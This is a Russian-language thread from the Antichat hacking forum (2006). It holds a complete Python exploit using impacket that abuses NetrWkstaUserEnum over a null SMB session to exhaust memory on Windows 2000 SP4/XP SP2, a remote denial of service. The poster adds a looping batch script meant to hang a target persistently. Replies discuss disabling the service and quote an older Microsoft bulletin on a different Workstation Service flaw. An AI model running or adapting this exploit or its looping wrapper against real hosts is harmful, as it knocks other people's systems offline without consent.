Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Windows (https://forum.antichat.xyz/forumdisplay.php?f=42)
-   -   Win 2000 SP4/XP SP2 Remote DoS Exploit (https://forum.antichat.xyz/showthread.php?t=29969)

_Great_ 26.12.2006 20:18

Win 2000 SP4/XP SP2 Remote DoS Exploit
 
Вызов:
wks_dos.py REMOTE_HOST MEGABYTES_TO_ALLOCATE
Эксплоит выделяет MEGABYTES_TO_ALLOCATE мегабайт памяти на уязвимой системе за счет ошибки в сервисе Workstation Service.
Правда у меня при тесте на вмваре она освобождалась через несколько секунд. Но если в цикле пустить сплоит, будут нехилые тормоза на удаленной системе из-за малого объема свободной памяти.

Как всегда, базовый комплект Python + либа impacket.

wks_dos.py
Код:

#!/usr/bin/python
# MS Windows Workstation Service NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit
# Bug discovered by h07 <h07@interia.pl>
# Tested on:..
# - Windows XP SP2 Polish
# - Windows 2000 SP4 Polish + All Microsoft Security Bulletins
# Example:
#
# wks_dos.py 192.168.0.2 512
#
#[*] MS Windows NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit
#[*] Coded by h07 <h07@interia.pl>
#[*] Connecting to 192.168.0.2:445 (NULL Session)
# [+] Connected
# [+] The NETBIOS connection with the remote host timed out.
# [+] 192.168.0.2: Out of memory
# [+] Done
#
# NetrWkstaUserEnum(max_len = 1024 * 1024 * 512)
# Exploit --> NULL Session --> PIPE: browser --> NetrWkstaUserEnum() --> Windows XP
# svchost.exe memory usage: 512 MB
##

from impacket.structure import Structure
from impacket.nmb import NetBIOSTimeout
from impacket.dcerpc import transport
from impacket import uuid
from struct import pack
from string import atoi
from sys import argv
from sys import exit

print "\n[*] MS Windows NetrWkstaUserEnum() 0day Memory Allocation Remote DoS Exploit"
print "[*] Coded by h07 <h07@interia.pl>"

if(len(argv) < 3):
  print "[*] Usage: %s <host> <memory_size(MB)>" % (argv[0])
  print "[*] Sample: %s 192.168.0.1 512" % (argv[0])
  exit()

MB = 1024 * 1024
host = argv[1]
memory_size = MB * atoi(argv[2])
pipe = 'browser'
UUID = ('6bffd098-a112-3610-9833-46c3f87e345a', '1.0')

stringbinding = "ncacn_np:%(host)s[\\pipe\\%(pipe)s]"
stringbinding %= {'host':host, 'pipe':pipe}

def utf16(str):
  return str.encode('utf_16_le')

class B1(Structure):
  alignment = 4
  structure = (
      ('id', '<L=0x41414141'),
      ('max', '<L'),
      ('offset', '<L=0'),
      ('actual', '<L'),
      ('str', '%s'),
  )

class NetrWkstaUserEnum(Structure):
  alignment = 4
  opnum = 2
  structure = (
      ('server', ':', B1),
      ('info_level1', '<L=1'),
      ('info_level2', '<L=1'),
      ('referent_id1', '<L=0x42424242'),
      ('num_entries', '<L=0'),
      ('null_pointer', '<L=0'),
      ('max_len', '<L'),
      ('referent_id2', '<L=0x43434343'),
      ('enumeration_handle', '<L=0x00000000'),
  )

query = NetrWkstaUserEnum()
server = "%s\x00" % (host)
query['server'] = B1()
query['server']['id'] = 0x41414141
query['server']['actual'] = len(server)
query['server']['max'] = len(server)
query['server']['str'] = utf16(server)
query['max_len'] = memory_size

trans = transport.DCERPCTransportFactory(stringbinding)

print "[*] Connecting to %s:445 (NULL Session)" % (host)

try:
  trans.connect()

except Exception, err:
  print "[-] %s" % (err)
  exit()

print "[+] Connected"

dce = trans.DCERPC_class(trans)
dce.bind(uuid.uuidtup_to_bin((UUID[0], UUID[1])))
dce.call(query.opnum, query)

try:
  raw = dce.recv()
  status = raw[-4:]

  if(status == pack("<L", 0x00000005)):
      print "[-] Return code: Access denied"
      exit()

  if(status == pack("<L", 0x00000008)):
      print "[-] Return code: Memory allocation error, out of memory"
      exit()

  if(status == pack("<L", 0x00000000)):
      print "[+] Return code: Success, memory allocated"

except NetBIOSTimeout, err:
  print "[+] %s" % (err)
  print "[+] %s: Out of memory" % (host)

print "[+] Done"

# EoF

Source: http://www.securitylab.ru/poc/extra/283320.php

karabym 26.12.2006 20:24

Это как переводиться этот сервис на русской винде ?!

karabym 26.12.2006 20:26

Рабочая станция :) дык это ее даж не получится заглушить...

_Great_ 26.12.2006 20:27

Рабочая станция по идее, если дословно перевести. Короче на домашних пк он всегда включен по идее

_Great_ 26.12.2006 20:29

Заглушить получится. Этот сервис в лице универсального хоста для сервисов svchost.exe убивается TaskManager'ом. Правда, туго без него будет. Зато от доса спасёт)

karabym 26.12.2006 20:30

А нет отключается на ура :) спасибо теперь по комфортней :))

karabym 26.12.2006 20:31

Цитата:

Правда, туго без него будет.
На что повлияет ?!

_Great_ 26.12.2006 20:33

Хз :)

Вот батничек, чтобы завесило конкретно)
Код:

@echo off
:label
h:\Python25\python.exe wks_dos.py %1 %2
goto label

Параметры те же. Путь к питону прописать свой)

Я для начала попробовал 600 мегов, варька молча заткнулась и перестала подавать признаки жизни :)

karabym 26.12.2006 20:37

Я чет не пойму это свеже всплывший сплойт чтоль ?!

_Great_ 26.12.2006 20:45

Фиг знает) Сегодня выложили

_Great_ 26.12.2006 21:02

Вот скрин с вари. Попытка запуска Visual C++ обернулась сами видите чем)

http://img71.imageshack.us/img71/396...pdostl2.th.png

karabym 26.12.2006 21:03

11 ноября 2003 г. корпорация Microsoft опубликовала бюллетень MS03-49, посвященный обнаружению серьезной уязвимости в системе безопасности операционной системы Windows, классифицируемой по шкале угроз компании как "критическая" (Critical).

Переполнение буфера в сервисе рабочей станции может привести к запуску кода

Уязвимости подвержены следующие версии операционной системы Windows:
Microsoft Windows 2000 Service Pack 2, 3, 4
Microsoft Windows XP, Microsoft Windows XP Service Pack 1
Microsoft Windows XP 64-Bit Edition
Для пользователей Windows XP, на компьютерах которых уже установлен патч из бюллетеня MS03-043 от 15 октября 2003 г., не требуется установка патча, которому посвящен данный бюллетень.

Уязвимостью невозможно воспользоваться, если на компьютере блокированы порты UDP/138, 139, 445 и TCP/ 138, 139, 445 (например, посредством сетевого экрана). Большинство брандмауэров, включая и Internet Connection Firewall в Windows XP, блокируют эти порты по умолчанию.

Уязвимость состоит в наличии непроверяемого буфера в сервисе рабочей станции (Workstation service) и может привести к запуску кода в атакованной системе. В случае осуществления успешного нападения атакующий получает привилегии системного администратора, после чего становится возможным осуществление в пораженной системе любых действий, включая установку программ, чтение файлов, внесение изменений в данные и удаление их, создание новый аккаунтов.

Получается усовершенствовали :)

_Great_ 26.12.2006 21:44

Это не та бага. Там было переполнение с выполнением любого кода.
А тут просто аллокация памяти


Время: 10:52